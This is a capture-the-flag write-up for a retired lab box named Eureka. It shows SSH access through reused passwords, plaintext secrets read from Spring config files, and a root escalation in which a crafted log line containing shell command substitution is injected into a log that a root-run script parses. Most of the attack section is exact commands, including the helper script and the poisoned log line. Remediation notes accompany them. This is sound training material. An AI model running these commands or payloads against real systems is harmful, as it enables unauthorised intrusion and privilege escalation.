Eureka
Summary
Anyone who already held a valid SSH login for a low-privilege developer account (oscar190, a password that was reused or known) obtained a shell on the Eureka server. Plaintext secrets in the Spring microservice source tree, readable by that account, exposed the Eureka registry password and a second user's SSH password, giving a shell as miranda-wise, a member of the 'developers' group.
That group could write the cloud-gateway application log, which a root-run maintenance script (/opt/log_analyse.sh) parsed unsafely. A crafted log line containing a shell command substitution was executed by the script as root, giving full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered, for oscar190>"
export PASSWORD3="<the-password-you-recovered, for miranda-wise>"Attack path: how the box was taken
Exact commands 5
Full TCP sweep with service detection.
$ nmap -p- -sV $TARGETResolve the vhost nginx expects.
$ echo "$TARGET furni.htb eureka.htb" | sudo tee -a /etc/hostsProbe for exposed Actuator endpoints.
$ curl -sS -i --max-time 10 -H 'Host: furni.htb' http://$TARGET/actuator/Check for a downloadable JVM heap dump (404 in this run).
$ curl -sS -I --max-time 10 -H 'Host: furni.htb' http://$TARGET/actuator/heapdumpCheck for leaked configuration properties.
$ curl -sS --max-time 15 -H 'Host: furni.htb' http://$TARGET/actuator/env | head -c 4000Exact commands 2
Log in as the low-privilege user and confirm identity.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no oscar190@$TARGET 'id; hostname'
uid=1000(oscar190) gid=1001(oscar190)Check for sudo rights; none without a password.
$ sudo -n -lFixEliminate reused and guessable SSH passwords; enforce key-based SSHHigh
Exact commands 3
Identify other users and flag locations.
$ ls -la /home; find /home -maxdepth 3 -name user.txt -ls 2>/dev/nullMap the microservice directories and their ownership.
$ find /var/www/web -maxdepth 2 -type d -printf '%M %u:%g %p\n' 2>/dev/null | head -80Look for scheduled jobs.
$ systemctl list-timers --all --no-pager | head -30; ls -la /etc/cron*Exact commands 3
Read Eureka and database credentials stored in clear text.
$ sed -n '1,220p' /var/www/web/user-management-service/src/main/resources/application.propertiesReview the gateway routing configuration.
$ find /var/www/web/cloud-gateway/src/main/resources -maxdepth 1 -type f -exec sed -n '1,240p' {} \;Log in as miranda-wise; output is <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no miranda-wise@$TARGET 'id; hostname; cat /home/miranda-wise/user.txt'
uid=1001(miranda-wise) groups=developersFixRemove plaintext credentials from application source and config filesHigh
Exact commands 2
Read the script to find unsafe handling of log fields.
$ ls -l /opt/log_analyse.sh; sed -n '1,240p' /opt/log_analyse.shConfirm the log is writable via the developers group.
$ namei -l /var/www/web/cloud-gateway/log/application.log; ls -la /var/www/web/cloud-gateway/logFixStop the root log-analysis script from executing log content and lock down the logCritical
Exact commands 3
Stage the helper that runs as root.
$ printf '%s\n' '#!/bin/sh' '/usr/bin/id > /tmp/eureka-root-id' '/bin/cat /root/root.txt > /tmp/eureka-root-flag' '/bin/chmod 644 /tmp/eureka-root-id /tmp/eureka-root-flag' > /tmp/grabroot.sh; chmod +x /tmp/grabroot.shAppend the poisoned log line; re-inject if the log is rotated.
$ cd /var/www/web/cloud-gateway/log && printf '%s\n' '2026-10-13T04:42:30.000Z INFO 9999 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter : HTTP GET / - Status: a[$(/tmp/grabroot.sh)]+42' >> application.logOnce the root job runs, id shows uid=0 and the file holds <root.txt>.
$ cat /tmp/eureka-root-id; cat /tmp/eureka-root-flag
uid=0(root) gid=0(root) groups=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 8761/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.